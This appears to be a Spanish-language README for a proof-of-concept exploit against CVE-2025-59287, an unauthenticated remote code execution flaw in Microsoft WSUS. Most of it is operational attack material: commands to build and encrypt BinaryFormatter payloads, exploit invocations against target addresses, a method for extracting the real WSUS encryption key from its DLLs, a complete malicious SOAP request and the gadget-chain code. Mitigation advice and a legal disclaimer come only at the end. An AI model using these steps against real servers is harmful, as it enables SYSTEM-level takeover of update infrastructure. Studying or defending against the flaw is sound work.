
Prueba de concepto del exploit para CVE-2025-59287, una RCE crítica no autenticada en WSUS mediante deserialización insegura de BinaryFormatter, que logra privilegios de SYSTEM a través de cookies cifradas manipuladas.
CVE-2025-59287 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Microsoft Windows Server Update Services (WSUS). La vulnerabilidad es causada por una deserialización insegura de datos AuthorizationCookie a través de BinaryFormatter en el método EncryptionHelper.DecryptData().
Impacto: Atacantes no autenticados pueden lograr ejecución remota de código con privilegios de SYSTEM enviando cookies cifradas maliciosas al endpoint GetCookie().
Puntuación CVSS: Crítica (9.8)
BinaryFormatter.Deserialize() llamado sobre entrada no confiable sin validación adecuada┌─────────────────┐
│ Atacante │
│ │
│ 1. Generar │
│ Payload │
│ BinaryFmt │
│ │
│ 2. Cifrar │
│ Payload │
│ │
│ 3. Enviar │
│ Solicitud │
│ SOAP │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Servidor WSUS │
│ │
│ Endpoint │
│ GetCookie() │
│ │
│ DecryptData() │◄─── Vulnerable
│ │
│ BinaryFormatter│◄─── Deserialización Insegura
│ Deserialize() │
│ │
│ Ejecutar │◄─── RCE como SYSTEM
│ Payload │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Script principal del exploit
├── BinaryFormatterPayloadGenerator.cs # Generador de payload .NET (C#)
├── encrypt_payload.py # Asistente de cifrado WSUS
├── requirements.txt # Dependencias de Python
└── README.md # Este archivo
pip install -r requirements.txt
ysoserial.net como alternativaOpción A: Usando el generador C# proporcionado
# Compilar el generador
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Generar payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Crea: payload_YYYYMMDDHHMMSS.bin
Opción B: Usando ysoserial.net (Recomendado)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
IMPORTANTE: La clave de cifrado en encrypt_payload.py es un marcador de posición. Para una explotación real, debes:
encrypt_payload.py con la clave real# Usando archivo de payload (cifrará sobre la marcha)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Usando cookie pre-cifrada
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# Con HTTPS (puerto 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Generar, cifrar y explotar en un solo paso
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_OBJETIVO> -f payload_*.bin
La clave de cifrado debe extraerse de los binarios de WSUS para una explotación real.
Localizar DLLs de WSUS:
%ProgramFiles%\Update Services\WebServices\bin\
O el directorio web de IIS:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
Abrir en dnSpy (descompilador .NET gratuito):
Microsoft.UpdateServices.WebServices.dllBuscar EncryptionHelper:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() y EncryptData()Patrones comunes:
Usar WinDbg o x64dbg:
EncryptionHelper.DecryptData()Usar Process Monitor:
Usar IDA Pro o Ghidra:
Usar la utilidad strings:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Una vez que tengas la clave real, actualiza encrypt_payload.py:
# Reemplaza esta línea en encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # MARCADOR DE POSICIÓN
# Con la clave real:
key_material = b"CLAVE_REAL_DE_BINARIOS_WSUS"
O pásala por línea de comandos:
python encrypt_payload.py payload.bin -k "CLAVE_REAL"
┌─────────────────────────────────────────────────────────────┐
│ 1. Generar Payload BinaryFormatter │
│ ObjectDataProvider → Process.Start() → Ejecución de │
│ Comando │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Cifrar Payload │
│ AES-128-CBC con clave de cifrado WSUS │
│ Codificación Base64 para transmisión │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Crear Solicitud SOAP │
│ El encabezado AuthorizationCookie contiene el payload │
│ cifrado │
│ Método GetCookie() en el cuerpo SOAP │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Enviar al Endpoint WSUS │
│ POST /ClientWebService/ClientWebService.asmx │
│ Puerto 8530 (HTTP) o 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Procesamiento WSUS │
│ DecryptData() descifra la cookie │
│ BinaryFormatter.Deserialize() ejecuta el payload │
│ → RCE como SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <OBJETIVO>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
PAYLOAD_BINARYFORMATTER_CIFRADO_EN_BASE64
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
El exploit utiliza la cadena de gadgets ObjectDataProvider:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
Cuando BinaryFormatter.Deserialize() procesa esto, automáticamente:
ObjectDataProviderMethodName ("Start") en ObjectInstance (Process)MethodParameters (ProcessStartInfo)Aplicar la Actualización de Seguridad de Microsoft: Parchear inmediatamente
Solución Temporal: Bloquear puertos si WSUS no es necesario
# Bloquear tráfico entrante en puertos WSUS
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
Segmentación de Red: Restringir acceso a endpoints WSUS
Reemplazar BinaryFormatter: Microsoft debería reemplazarlo con serialización segura
System.Text.Json o System.Xml.Serialization con validación de tiposValidación de Entrada: Agregar validación integral
Principio de Mínimo Privilegio: Ejecutar servicios WSUS con privilegios mínimos
Revisar los registros de WSUS en:
%ProgramFiles%\Update Services\LogFiles\
Buscar:
Monitorear:
/ClientWebService/ClientWebService.asmx⚠️ ADVERTENCIA: Este código de exploit se proporciona solo para pruebas de seguridad autorizadas.
✅ Usos Legales:
❌ Usos Ilegales:
El uso no autorizado de este exploit puede resultar en enjuiciamiento penal. Úsalo de manera responsable y ética.
Recuerda: Siempre prueba en entornos aislados y controlados. Nunca lo uses contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.